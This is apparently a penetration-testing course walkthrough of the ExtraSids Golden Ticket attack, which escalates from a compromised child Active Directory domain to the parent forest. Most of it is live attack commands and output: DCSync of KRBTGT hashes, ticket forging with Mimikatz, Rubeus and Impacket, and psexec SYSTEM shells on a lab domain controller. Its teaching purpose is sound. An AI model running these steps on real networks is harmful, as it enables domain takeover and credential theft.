Golden Ticket Attack
ExtraSids Attack - Mimikatz
To perform this attack after compromising a child domain, we need the following:
- The KRBTGT hash for the child domain
- The SID for the child domain
- The name of a target user in the child domain (does not need to exist!)
- The FQDN of the child domain.
- The SID of the Enterprise Admins group of the root domain.
- With this data collected, the attack can be performed with Mimikatz.
First, we need to obtain the NT hash for the KRBTGT account, which is a service account for the Key Distribution Center (KDC) in Active Directory. The account KRB (Kerberos) TGT (Ticket Granting Ticket) is used to encrypt/sign all Kerberos tickets granted within a given domain. Domain controllers use the account's password to decrypt and validate Kerberos tickets. The KRBTGT account can be used to create Kerberos TGT tickets that can be used to request TGS tickets for any service on any host in the domain. This is also known as the Golden Ticket attack and is a well-known persistence mechanism for attackers in Active Directory environments.
Since we have compromised the child domain, we can log in as a Domain Admin or similar and perform the DCSync attack to obtain the NT hash for the KRBTGT account.
Obtaining the KRBTGT Account's NT Hash using Mimikatz
PS:\> mimikatz # lsadump::dcsync /user:INTERNAL\krbtgt
[DC] 'INTERNAL.TRUSTED.LOCAL' will be the domain
[DC] 'CDC01.INTERNAL.TRUSTED.LOCAL' will be the DC server
[DC] 'INTERNAL\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 11/1/2021 11:21:33 AM
Object Security ID : S-1-5-21-2806153819-209893948-922872689-502
Object Relative ID : 502
Credentials:
Hash NTLM: 9d765b482771505cbe97411065964d5f
ntlm- 0: 9d765b482771505cbe97411065964d5f
lm - 0: 69df324191d4a80f0ed100c10f20561e
We can use the PowerView Get-DomainSID
function to get the SID for the child domain, but this is also visible in the Mimikatz output above.
Using Get-DomainSID
Next, we can use Get-DomainGroup
from PowerView to obtain the SID for the Enterprise Admins group in the parent domain. We could also do this with the Get-ADGroup cmdlet with a command such as Get-ADGroup -Identity "Enterprise Admins" -Server "TRUSTED.LOCAL"
.
Obtaining Enterprise Admins Group's SID using Get-DomainGroup
PS:\> Get-DomainGroup -Domain TRUSTED.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid
distinguishedname objectsid
----------------- ---------
CN=Enterprise Admins,CN=Users,DC=TRUSTED,DC=LOCAL S-1-5-21-3842939050-3880317879-2865463114-519
At this point, we have gathered the following data points:
- The KRBTGT hash for the child domain:
9d765b482771505cbe97411065964d5f
- The SID for the child domain:
S-1-5-21-2806153819-209893948-922872689
- The name of a target user in the child domain (does not need to exist to create our Golden Ticket!): We'll choose a fake user:
hacker
- The FQDN of the child domain:
INTERNAL.TRUSTED.LOCAL
- The SID of the Enterprise Admins group of the root domain:
S-1-5-21-3842939050-3880317879-2865463114-519
Before the attack, we can confirm no access to the file system of the DC in the parent domain.
Using ls to Confirm No Access
PS:\> ls \\dc01.trusted.local\c$
ls : Access is denied
At line:1 char:1
+ ls \\dc01.trusted.local\c$
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (\\dc01.trusted.local\c$:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
Using Mimikatz and the data listed above, we can create a Golden Ticket to access all resources within the parent domain.
Creating a Golden Ticket with Mimikatz
PS:\> mimikatz.exe
mimikatz # kerberos::golden /user:hacker /domain:INTERNAL.TRUSTED.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
User : hacker
Domain : INTERNAL.TRUSTED.LOCAL (INTERNAL)
SID : S-1-5-21-2806153819-209893948-922872689
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3842939050-3880317879-2865463114-519 ;
ServiceKey: 9d765b482771505cbe97411065964d5f - rc4_hmac_nt
Lifetime : 3/28/2022 7:59:50 PM ; 3/25/2032 7:59:50 PM ; 3/25/2032 7:59:50 PM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'hacker @ INTERNAL.TRUSTED.LOCAL' successfully submitted for current session
We can confirm that the Kerberos ticket for the non-existent hacker user is residing in memory.
Confirming a Kerberos Ticket is in Memory Using klist
PS:\> klist
Current LogonId is 0:0xf6462
Cached Tickets: (1)
#0> Client: hacker @ INTERNAL.TRUSTED.LOCAL
Server: krbtgt/INTERNAL.TRUSTED.LOCAL @ INTERNAL.TRUSTED.LOCAL
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
Start Time: 3/28/2022 19:59:50 (local)
End Time: 3/25/2032 19:59:50 (local)
Renew Time: 3/25/2032 19:59:50 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
From here, it is possible to access any resources within the parent domain, and we could compromise the parent domain in several ways.
Listing the Entire C: Drive of the Domain Controller
PS:\> ls \\dc01.trusted.local\c$
Volume in drive \\dc01.trusted.local\c$ has no label.
Volume Serial Number is B8B3-0D72
Directory of \\dc01.trusted.local\c$
09/15/2018 12:19 AM <DIR> PerfLogs
10/06/2021 01:50 PM <DIR> Program Files
09/15/2018 02:06 AM <DIR> Program Files (x86)
11/19/2021 12:17 PM <DIR> Shares
10/06/2021 10:31 AM <DIR> Users
03/21/2022 12:18 PM <DIR> Windows
0 File(s) 0 bytes
6 Dir(s) 18,080,178,176 bytes free
ExtraSids Attack - Rubeus
We can also perform this attack using Rubeus.
We will formulate our Rubeus command using the data we retrieved above. The /rc4
flag is the NT hash for the KRBTGT account. The /sids
flag will tell Rubeus to create our Golden Ticket giving us the same rights as members of the Enterprise Admins group in the parent domain.
Creating a Golden Ticket using Rubeus
PS:\> .\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:INTERNAL.TRUSTED.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.2
[*] Action: Build TGT
[*] Building PAC
[*] Domain : INTERNAL.TRUSTED.LOCAL (INTERNAL)
[*] SID : S-1-5-21-2806153819-209893948-922872689
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ExtraSIDs : S-1-5-21-3842939050-3880317879-2865463114-519
[*] ServiceKey : 9D765B482771505CBE97411065964D5F
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 9D765B482771505CBE97411065964D5F
[*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5
[*] Service : krbtgt
[*] Target : INTERNAL.TRUSTED.LOCAL
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'hacker@INTERNAL.TRUSTED.LOCAL'
[*] AuthTime : 3/29/2022 10:06:41 AM
[*] StartTime : 3/29/2022 10:06:41 AM
[*] EndTime : 3/29/2022 8:06:41 PM
[*] RenewTill : 4/5/2022 10:06:41 AM
[*] base64(ticket.kirbi):
doIF0zCCBc+gAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoR8bHUxPR0lTVElDUy5JTkxBTkVG
UkVJR0hULkxPQ0FMojIwMKADAgECoSkwJxsGa3JidGd0Gx1MT0dJU1RJQ1MuSU5MQU5FRlJFSUdIVC5M
T0NBTKOCBDIwggQuoAMCARehAwIBA6KCBCAEggQc0u5onpWKAP0Hw0KJuEOAFp8OgfBXlkwH3sXu5BhH
T3zO/Ykw2Hkq2wsoODrBj0VfvxDNNpvysToaQdjHIqIqVQ9kXfNHM7bsQezS7L1KSx++2iX94uRrwa/S
VfgHhAuxKPlIi2phwjkxYETluKl26AUo2+WwxDXmXwGJ6LLWN1W4YGScgXAX+Kgs9xrAqJMabsAQqDfy
k7+0EH9SbmdQYqvAPrBqYEnt0mIPM9cakei5ZS1qfUDajUN4mxsqINm7qNQcZHWN8kFSfAbqyD/OZIMc
g78hZ8IYL+Y4LPEpiQzM8JsXqUdQtiJXM3Eig6RulSxCo9rc5YUWTaHx/i3PfWqP+dNREtldE2sgIUQm
9f3cO1aOCt517Mmo7lICBFXUTQJvfGFtYdc01fWLoN45AtdpJro81GwihIFMcp/vmPBlqQGxAtRKzgzY
acuk8YYogiP6815+x4vSZEL2JOJyLXSW0OPhguYSqAIEQshOkBm2p2jahQWYvCPPDd/EFM7S3NdMnJOz
X3P7ObzVTAPQ/o9lSaXlopQH6L46z6PTcC/4GwaRbqVnm1RU0O3VpVr5bgaR+Nas5VYGBYIHOw3Qx5YT
3dtLvCxNa3cEgllr9N0BjCl1iQGWyFo72JYI9JLV0VAjnyRxFqHztiSctDExnwqWiyDaGET31PRdEz+H
WlAi4Y56GaDPrSZFS1RHofKqehMQD6gNrIxWPHdS9aiMAnhQth8GKbLqimcVrCUG+eghE+CN999gHNMG
Be1Vnz8Oc3DIM9FNLFVZiqJrAvsq2paakZnjf5HXOZ6EdqWkwiWpbGXv4qyuZ8jnUyHxavOOPDAHdVeo
/RIfLx12GlLzN5y7132Rj4iZlkVgAyB6+PIpjuDLDSq6UJnHRkYlJ/3l5j0KxgjdZbwoFbC7p76IPC3B
aY97mXatvMfrrc/Aw5JaIFSaOYQ8M/frCG738e90IK/2eTFZD9/kKXDgmwMowBEmT3IWj9lgOixNcNV/
OPbuqR9QiT4psvzLGmd0jxu4JSm8Usw5iBiIuW/pwcHKFgL1hCBEtUkaWH24fuJuAIdei0r9DolImqC3
sERVQ5VSc7u4oaAIyv7Acq+UrPMwnrkDrB6C7WBXiuoBAzPQULPTWih6LyAwenrpd0sOEOiPvh8NlvIH
eOhKwWOY6GVpVWEShRLDl9/XLxdnRfnNZgn2SvHOAJfYbRgRHMWAfzA+2+xps6WS/NNf1vZtUV/KRLlW
sL5v91jmzGiZQcENkLeozZ7kIsY/zadFqVnrnQqsd97qcLYktZ4yOYpxH43JYS2e+cXZ+NXLKxex37HQ
F5aNP7EITdjQds0lbyb9K/iUY27iyw7dRVLz3y5Dic4S4+cvJBSz6Y1zJHpLkDfYVQbBUCfUps8ImJij
Hf+jggEhMIIBHaADAgEAooIBFASCARB9ggEMMIIBCKCCAQQwggEAMIH9oBswGaADAgEXoRIEEBrCyB2T
JTKolmppTTXOXQShHxsdTE9HSVNUSUNTLklOTEFORUZSRUlHSFQuTE9DQUyiEzARoAMCAQGhCjAIGwZo
YWNrZXKjBwMFAEDgAACkERgPMjAyMjAzMjkxNzA2NDFapREYDzIwMjIwMzI5MTcwNjQxWqYRGA8yMDIy
MDMzMDAzMDY0MVqnERgPMjAyMjA0MDUxNzA2NDFaqB8bHUxPR0lTVElDUy5JTkxBTkVGUkVJR0hULkxP
Q0FMqTIwMKADAgECoSkwJxsGa3JidGd0Gx1MT0dJU1RJQ1MuSU5MQU5FRlJFSUdIVC5MT0NBTA==
[+] Ticket successfully imported!
Once again, we can check that the ticket is in memory using the klist
command.
PS:\> klist
Current LogonId is 0:0xf6495
Cached Tickets: (1)
#0> Client: hacker @ INTERNAL.TRUSTED.LOCAL
Server: krbtgt/INTERNAL.TRUSTED.LOCAL @ INTERNAL.TRUSTED.LOCAL
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
Start Time: 3/29/2022 10:06:41 (local)
End Time: 3/29/2022 20:06:41 (local)
Renew Time: 4/5/2022 10:06:41 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
Finally, we can test this access by performing a DCSync attack against the parent domain, targeting the lab_adm
Domain Admin user.
Performing a DCSync Attack
PS:\> .\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # lsadump::dcsync /user:TRUSTED\lab_adm
[DC] 'TRUSTED.LOCAL' will be the domain
[DC] 'DC01.TRUSTED.LOCAL' will be the DC server
[DC] 'TRUSTED\lab_adm' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : lab_adm
** SAM ACCOUNT **
SAM Username : lab_adm
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 2/27/2022 10:53:21 PM
Object Security ID : S-1-5-21-3842939050-3880317879-2865463114-1001
Object Relative ID : 1001
Credentials:
Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
lm - 0: 6053227db44e996fe16b107d9d1e95a0
When dealing with multiple domains and our target domain is not the same as the user's domain, we will need to specify the exact domain to perform the DCSync operation on the particular domain controller. The command for this would look like the following:
mimikatz # lsadump::dcsync /user:TRUSTED\lab_adm /domain:TRUSTED.LOCAL
[DC] 'TRUSTED.LOCAL' will be the domain
[DC] 'DC01.TRUSTED.LOCAL' will be the DC server
[DC] 'TRUSTED\lab_adm' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : lab_adm
** SAM ACCOUNT **
SAM Username : lab_adm
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 2/27/2022 10:53:21 PM
Object Security ID : S-1-5-21-3842939050-3880317879-2865463114-1001
Object Relative ID : 1001
Credentials:
Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
lm - 0: 6053227db44e996fe16b107d9d1e95a0
We could also run the command specifying the ticket.kirbi
file:
PS:\> .\mimikatz.exe "kerberos::ptt ticket.kirbi" "lsadump::dcsync /user:TRUSTED\lab_adm /domain:TRUSTED.LOCAL" "exit"
Now that we've walked through child --> parent domain compromise from a Windows attack box, we'll cover a few ways to achieve the same if we are constrained to a Linux attack host.
ExtraSids Attack - Linux
We can also perform the attack shown in the previous section from a Linux attack host. To do so, we'll still need to gather the same bits of information:
- The KRBTGT hash for the child domain
- The SID for the child domain
- The name of a target user in the child domain (does not need to exist!)
- The FQDN of the child domain
- The SID of the Enterprise Admins group of the root domain
Once we have complete control of the child domain, INTERNAL.TRUSTED.LOCAL
, we can use secretsdump.py
to DCSync and grab the NTLM hash for the KRBTGT account.
Performing DCSync with secretsdump.py
❯ secretsdump.py internal.trusted.local/Administrator@172.16.5.240 -just-dc-user INTERNAL/krbtgt
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8
krbtgt:aes128-cts-hmac-sha1-96:ca289e175c372cebd18083983f88c03e
krbtgt:des-cbc-md5:fee04c3d026d7538
[*] Cleaning up...
Next, we can use lookupsid.py from the Impacket toolkit to perform SID brute forcing to find the SID of the child domain. In this command, whatever we specify for the IP address (the IP of the domain controller in the child domain) will become the target domain for a SID lookup. The tool will give us back the SID for the domain and the RIDs for each user and group that could be used to create their SID in the format DOMAIN_SID-RID
. For example, from the output below, we can see that the SID of the lab_adm
user would be S-1-5-21-2806153819-209893948-922872689-1001
.
Performing SID Brute Forcing using lookupsid.py
❯ lookupsid.py internal.trusted.local/Administrator@172.16.5.240
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation
Password:
[*] Brute forcing SIDs at 172.16.5.240
[*] StringBinding ncacn_np:172.16.5.240[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-2806153819-209893948-922872689
500: INTERNAL\Administrator (SidTypeUser)
501: INTERNAL\Guest (SidTypeUser)
502: INTERNAL\krbtgt (SidTypeUser)
512: INTERNAL\Domain Admins (SidTypeGroup)
513: INTERNAL\Domain Users (SidTypeGroup)
514: INTERNAL\Domain Guests (SidTypeGroup)
515: INTERNAL\Domain Computers (SidTypeGroup)
516: INTERNAL\Domain Controllers (SidTypeGroup)
517: INTERNAL\Cert Publishers (SidTypeAlias)
520: INTERNAL\Group Policy Creator Owners (SidTypeGroup)
521: INTERNAL\Read-only Domain Controllers (SidTypeGroup)
522: INTERNAL\Cloneable Domain Controllers (SidTypeGroup)
525: INTERNAL\Protected Users (SidTypeGroup)
526: INTERNAL\Key Admins (SidTypeGroup)
553: INTERNAL\RAS and IAS Servers (SidTypeAlias)
571: INTERNAL\Allowed RODC Password Replication Group (SidTypeAlias)
572: INTERNAL\Denied RODC Password Replication Group (SidTypeAlias)
1001: INTERNAL\lab_adm (SidTypeUser)
1002: INTERNAL\DC02$ (SidTypeUser)
1103: INTERNAL\DnsAdmins (SidTypeAlias)
1104: INTERNAL\DnsUpdateProxy (SidTypeGroup)
1105: INTERNAL\TRUSTED$ (SidTypeUser)
We can filter out the noise by piping the command output to grep and looking for just the domain SID.
❯ lookupsid.py internal.trusted.local/Administrator@172.16.5.240 | grep "Domain SID"
Password:
[*] Domain SID is: S-1-5-21-2806153819-209893948-92287268
Next, we can rerun the command, targeting the TRUSTED Domain Controller (DC01) at 172.16.5.5 and grab the domain SID S-1-5-21-3842939050-3880317879-2865463114
and attach the RID of the Enterprise Admins group. Here is a handy list of well-known SIDs.
Grabbing the Domain SID & Attaching to Enterprise Admin's RID
❯ lookupsid.py internal.trusted.local/Administrator@172.16.5.5 | grep -B12 "Enterprise Admins"
Password:
[*] Domain SID is: S-1-5-21-3842939050-3880317879-2865463114
498: TRUSTED\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: TRUSTED\administrator (SidTypeUser)
501: TRUSTED\guest (SidTypeUser)
502: TRUSTED\krbtgt (SidTypeUser)
512: TRUSTED\Domain Admins (SidTypeGroup)
513: TRUSTED\Domain Users (SidTypeGroup)
514: TRUSTED\Domain Guests (SidTypeGroup)
515: TRUSTED\Domain Computers (SidTypeGroup)
516: TRUSTED\Domain Controllers (SidTypeGroup)
517: TRUSTED\Cert Publishers (SidTypeAlias)
518: TRUSTED\Schema Admins (SidTypeGroup)
519: TRUSTED\Enterprise Admins (SidTypeGroup)
We have gathered the following data points to construct the command for our attack. Once again, we will use the non-existent user hacker
to forge our Golden Ticket.
- The KRBTGT hash for the child domain:
9d765b482771505cbe97411065964d5f
- The SID for the child domain:
S-1-5-21-2806153819-209893948-922872689
- The name of a target user in the child domain (does not need to exist!):
hacker
- The FQDN of the child domain:
INTERNAL.TRUSTED.LOCAL
- The SID of the Enterprise Admins group of the root domain:
S-1-5-21-3842939050-3880317879-2865463114-519
Next, we can use ticketer.py from the Impacket toolkit to construct a Golden Ticket. This ticket will be valid to access resources in the child domain (specified by -domain-sid
) and the parent domain (specified by -extra-sid
).
Constructing a Golden Ticket using ticketer.py
❯ ticketer.py -aesKey <krbtgt aesKey> or -nthash <HASH> -domain-sid <child-sid> -domain <child-domain> -extra-sid <parent-sid>-519 <target-user>
❯ ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain INTERNAL.TRUSTED.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for INTERNAL.TRUSTED.LOCAL/hacker
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in hacker.ccache
The ticket will be saved down to our system as a credential cache (ccache) file, which is a file used to hold Kerberos credentials. Setting the KRB5CCNAME
environment variable tells the system to use this file for Kerberos authentication attempts.
Setting the KRB5CCNAME Environment Variable
We can check if we can successfully authenticate to the parent domain's Domain Controller using Impacket's version of Psexec. If successful, we will be dropped into a SYSTEM shell on the target Domain Controller.
Getting a SYSTEM shell using Impacket's psexec.py
❯ psexec.py INTERNAL.TRUSTED.LOCAL/hacker@dc01.trusted.local -k -no-pass -target-ip 172.16.5.5
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 172.16.5.5.....
[*] Found writable share ADMIN$
[*] Uploading file nkYjGWDZ.exe
[*] Opening SVCManager on 172.16.5.5.....
[*] Creating service eTCU on 172.16.5.5.....
[*] Starting service eTCU.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> hostname
DC01
Impacket also has the tool raiseChild.py, which will automate escalating from child to parent domain. We need to specify the target domain controller and credentials for an administrative user in the child domain; the script will do the rest. If we walk through the output, we see that it starts by listing out the child and parent domain's fully qualified domain names (FQDN). It then:
- Obtains the SID for the Enterprise Admins group of the parent domain
- Retrieves the hash for the KRBTGT account in the child domain
- Creates a Golden Ticket
- Logs into the parent domain
- Retrieves credentials for the Administrator account in the parent domain
Finally, if the target-exec
switch is specified, it authenticates to the parent domain's Domain Controller via Psexec
Performing the Attack with raiseChild.py
❯ raiseChild.py -target-exec 172.16.5.5 INTERNAL.TRUSTED.LOCAL/Administrator
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
Password:
[*] Raising child domain INTERNAL.TRUSTED.LOCAL
[*] Forest FQDN is: TRUSTED.LOCAL
[*] Raising INTERNAL.TRUSTED.LOCAL to TRUSTED.LOCAL
[*] TRUSTED.LOCAL Enterprise Admin SID is: S-1-5-21-3842939050-3880317879-2865463114-519
[*] Getting credentials for INTERNAL.TRUSTED.LOCAL
INTERNAL.TRUSTED.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
INTERNAL.TRUSTED.LOCAL/krbtgt:aes256-cts-hmac-sha1-96s:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8
[*] Getting credentials for TRUSTED.LOCAL
TRUSTED.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e455a8c338142af8d89ffbc:::
TRUSTED.LOCAL/krbtgt:aes256-cts-hmac-sha1-96s:69e57bd7e7421c3cfdab757af255d6af07d41b80913281e0c528d31e58e31e6d
[*] Target User account name is administrator
TRUSTED.LOCAL/administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
TRUSTED.LOCAL/administrator:aes256-cts-hmac-sha1-96s:de0aa78a8b9d622d3495315709ac3cb826d97a318ff4fe597da72905015e27b6
[*] Opening PSEXEC shell at DC01.TRUSTED.LOCAL
[*] Requesting shares on DC01.TRUSTED.LOCAL.....
[*] Found writable share ADMIN$
[*] Uploading file BnEGssCE.exe
[*] Opening SVCManager on DC01.TRUSTED.LOCAL.....
[*] Creating service UVNb on DC01.TRUSTED.LOCAL.....
[*] Starting service UVNb.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on DC01.TRUSTED.LOCAL.....
[*] Stopping service UVNb.....
[*] Removing service UVNb.....
[*] Removing file BnEGssCE.exe.....
The script lists out the workflow and process in a comment as follows:
# The workflow is as follows:
# Input:
# 1) child-domain Admin credentials (password, hashes or aesKey) in the form of 'domain/username[:password]'
# The domain specified MUST be the domain FQDN.
# 2) Optionally a pathname to save the generated golden ticket (-w switch)
# 3) Optionally a target-user RID to get credentials (-targetRID switch)
# Administrator by default.
# 4) Optionally a target to PSEXEC with the target-user privileges to (-target-exec switch).
# Enterprise Admin by default.
#
# Process:
# 1) Find out where the child domain controller is located and get its info (via [MS-NRPC])
# 2) Find out what the forest FQDN is (via [MS-NRPC])
# 3) Get the forest's Enterprise Admin SID (via [MS-LSAT])
# 4) Get the child domain's krbtgt credentials (via [MS-DRSR])
# 5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array
# and setting expiration 10 years from now
# 6) Use the generated ticket to log into the forest and get the target user info (krbtgt/admin by default)
# 7) If file was specified, save the golden ticket in ccache format
# 8) If target was specified, a PSEXEC shell is launched
#
# Output:
# 1) Target user credentials (Forest's krbtgt/admin credentials by default)
# 2) A golden ticket saved in ccache for future fun and profit
# 3) PSExec Shell with the target-user privileges (Enterprise Admin privileges by default) at target-exec
# parameter.
Though tools such as raiseChild.py
can be handy and save us time, it is essential to understand the process and be able to perform the more manual version by gathering all of the required data points. In this case, if the tool fails, we are more likely to understand why and be able to troubleshoot what is missing, which we would not be able to if blindly running this tool. In a client production environment, we should always
be careful when running any sort of "autopwn" script like this, and always remain cautious and construct commands manually when possible. Other tools exist which can take in data from a tool such as BloodHound, identify attack paths, and perform an "autopwn" function that can attempt to perform each action in an attack chain to elevate us to Domain Admin (such as a long ACL attack path). I would recommend avoiding tools such as these and work with tools that you understand fully, and will also give you the greatest degree of control throughout the process.